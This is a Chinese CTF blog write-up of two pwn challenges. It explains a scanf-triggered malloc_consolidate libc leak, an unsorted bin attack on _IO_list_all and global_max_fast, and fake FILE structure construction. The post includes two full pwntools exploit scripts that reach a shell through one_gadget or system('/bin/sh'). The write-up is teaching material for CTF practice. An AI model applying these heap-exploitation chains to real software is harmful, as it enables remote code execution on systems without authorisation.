题目复现
LOLOLO Lv3

有关scanf的利用

在通过scanf输入,当输入非常长的字符串的时候,即使我们使用setbuf()关闭了输入缓冲区,还是依旧会暂时申请一个large chunk来存储输入的字符串。 这样就会导致 malloc_consolidate的发生

build_house

view_house

delet_house

解题思路

  • scanf输入超长字符串触发malloc_consolidate以此来泄露libc,同时做堆布局
  • 利用unsorted bin attack 来将_IO_list_all内容改写为main_arena+96,即small bin[4]的位置,同时在该位置上直接构造fake_vtable,填入onegadge获取shell

exp(是用其他师傅的,自己当时想不到,后来也没写)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
from pwn import *
context(log_level='debug',arch='amd64')
context.terminal = ['terminator','-x','sh','-c']
binary='./build_your_house'
main_arena = 0x3c4b20
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
su = lambda buf,addr:io.success(buf+"==>"+hex(addr))
local = 0
if local == 1:
io=process(binary)
else:
io=remote('123.57.131.167',38409)
e=ELF(binary)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
one_gadget = [0x45226,0x4527a,0xf03a4,0xf1247]
def choice(i):
ru('Choice:')
sl(str(i))
def add(size,content=b'a\n'):
choice(1)
ru('How big a house do you want to build?')
sl(str(size))
ru('How do you want to decorate your house?')
s(content)
def free(idx):
choice(2)
ru('Which house do you want to remove?')
sl(str(idx))
def show(idx):
choice(3)
ru("Which house do you want to view?\n")
sl(str(idx))
add(0x38)#0
for i in range(4):
add(0x30)#1-4
add(0x30)#5
add(0x30)#6
free(0)
for i in range(5):
free(i+1)

sl('1'*1024)
add(0x38,b'a'*0x38)#0

for i in range(4):
add(0x30)#1-4
free(1)
sl('1'*1024)
free(6)
sl('1'*1024)

#---------------------------

add(0x30)#1
add(0x30)#5 = 2
add(0x30)#6 = 3
add(0x30,b'\0'*0x30)#7 = 4
add(0x40,b'\0'*0x40)#8
add(0x40,b'\0'*0x40)#9
add(0x40,b'\0'*0x40)#10
#--------------------------
free(2)
free(3)

sl('1'*1024)
show(5)

def leak_libc():
global libc_base,mh,fh,system,binsh_addr,_IO_2_1_stdout_,realloc,io_list_all
libc_base = u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))-main_arena-200
su("libc base ",libc_base)
mh = libc_base + libc.sym['__malloc_hook']
system = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
realloc = libc_base + libc.sym['realloc']
fh = libc_base + libc.sym['__free_hook']
_IO_2_1_stdout_ = libc_base + libc.sym['_IO_2_1_stdout_']
io_list_all = libc_base+libc.symbols['_IO_list_all']
leak_libc()
free(4)
sl('1'*1024)
add(0x30)#5 = 2
add(0x10)#6 = 3
for i in range(3):
add(0x18,b'\0'*23+'\n')#4,7==11,12
free(1)
sl('1'*1024)
add(0x10)#1
add(0x10,b'\0'*15+'\n')#13

free(13)
free(5)#2 0x41

sl('1'*1024)
free(4)
free(7)
free(12)
show(11)
heap = u64(rl()[-7:-1].ljust(8,b'\x00'))-224
print hex(heap)

sl('1'*1024)

add(0x10)#4

free(2)
add(0x30,p64(0)+p64(io_list_all-0x10)+'\n')#3
add(0x30)
free(9)
add(0x40,b'\0'*0x18+p64(heap+480+16)+'\n')

free(10)
add(0x47,p64(one_gadget[1]+libc_base)*8+p64(one_gadget[1]+libc_base)[:-1])
#gdb.attach(io)
sl('4')
'''
free(5)#2 0x41
free(4)
free(7)
free(10)
sl('1'*1024)
add(0x10)#2'''


shell()

第一次遇到scanf字符串超长触发malloc_consolidate。

HWS pwn1

本来是想去线下的,比赛开始以后发现应该只会这一题,感觉无望,所以直接放弃比赛。

解题思路

题目就一个流程,在rename之后存在一个uaf漏洞,由于申请和释放的堆块都很大,所以想到了利用IO

  • 首先是利用UAF来进行unsorted bin attack,将global_max_fast改为main_arena+96,在程序的最后会将两个堆块释放,因为global_max_fast被改成较大的数,所以两个堆块会被放入fast链表当中去;而fast链表有个下标的判断如下

    1
    2
    ##define fastbin_index(sz) \
    ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
  • 然后知道fast链表头都存放在main_arena+16之后;根据计算_IO_list_all和main_arena+16的距离为0xa10,根据计算(((0xa10/8)+2<<4)可得出应该申请的堆块大小为0x1430

  • 最后就是构造fake_io

最后放上原题exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
from pwn import *

# from LibcSearcher import *
context.log_level = 'debug'
debug = 1
file_name = './pwn'
libc_name = '/home/lol/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc-2.27.so'
ip = '1.13.162.249'
prot = '10001'
if debug:
r = process(file_name)
libc = ELF(libc_name)
else:
r = remote(ip, int(prot))
libc = ELF(libc_name)


def debug():
gdb.attach(r)
raw_input()


def pack_file(_flags=0,
_IO_read_ptr=0,
_IO_read_end=0,
_IO_read_base=0,
_IO_write_base=0,
_IO_write_ptr=0,
_IO_write_end=0,
_IO_buf_base=0,
_IO_buf_end=0,
_IO_save_base=0,
_IO_backup_base=0,
_IO_save_end=0,
_IO_marker=0,
_IO_chain=0,
_fileno=0,
_lock=0,
_wide_data=0,
_mode=0):
file_struct = p32(_flags) + \
p32(0) + \
p64(_IO_read_ptr) + \
p64(_IO_read_end) + \
p64(_IO_read_base) + \
p64(_IO_write_base) + \
p64(_IO_write_ptr) + \
p64(_IO_write_end) + \
p64(_IO_buf_base) + \
p64(_IO_buf_end) + \
p64(_IO_save_base) + \
p64(_IO_backup_base) + \
p64(_IO_save_end) + \
p64(_IO_marker) + \
p64(_IO_chain) + \
p32(_fileno)
file_struct = file_struct.ljust(0x88, b"\x00")
file_struct += p64(_lock)
file_struct = file_struct.ljust(0xa0, b"\x00")
file_struct += p64(_wide_data)
file_struct = file_struct.ljust(0xc0, b'\x00')
file_struct += p64(_mode)
file_struct = file_struct.ljust(0xd8, b"\x00")
return file_struct


file = ELF(file_name)
sl = lambda x: r.sendline(x)
sd = lambda x: r.send(x)
sla = lambda x, y: r.sendlineafter(x, y)
rud = lambda x: r.recvuntil(x, drop=True)
ru = lambda x: r.recvuntil(x)
li = lambda name, x: log.info(name + ':' + hex(x))
ri = lambda: r.interactive()
ru('Now you can get a big box, what size?')
sl(str(0x1430))
ru('Now you can get a bigger box, what size?')
sl(str(0x5000))
ru('Do you want to rename?(y/n)')
sl('y')
ru('Now your name is:')
main_arena = u64(r.recv(6) + b'\x00\x00')
li("main_arena", main_arena)
libc_base = main_arena - 0x3ebca0
system = libc_base + libc.symbols['system']
global_max_fast = libc_base + 0x3ed940
IO_list_all = libc_base + libc.symbols['_IO_list_all']
IO_str_jumps = 0x3e8360 + libc_base
payload = p64(main_arena) + p64(global_max_fast - 0x10)
binsh = 0x00000000001b40fa + libc_base
sl(payload)
# debug()
ru("Do you want to edit big box or bigger box?(1:big/2:bigger)\n")
sl("1")
ru(':\n')
fake_file = pack_file(_IO_read_base=IO_list_all - 0x10,
_IO_write_base=0,
_IO_write_ptr=1,
_IO_buf_base=binsh,
_mode=0, )
fake_file += p64(IO_str_jumps - 8) + p64(0) + p64(system)
gdb.attach(r)
pause()
sl(fake_file[0x10:])
# gdb.attach(r)
ri()

比赛的时候没想到这样去改写_IO_list_all,属实是学到了

参考文章

360

塞纳河畔的春水

  • 本文标题:题目复现
  • 本文作者:LOLOLO
  • 创建时间:2022-02-07 17:29:23
  • 本文链接:https://lololo-pwn.github.io/2022/02/07/题目复现/
  • 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
 评论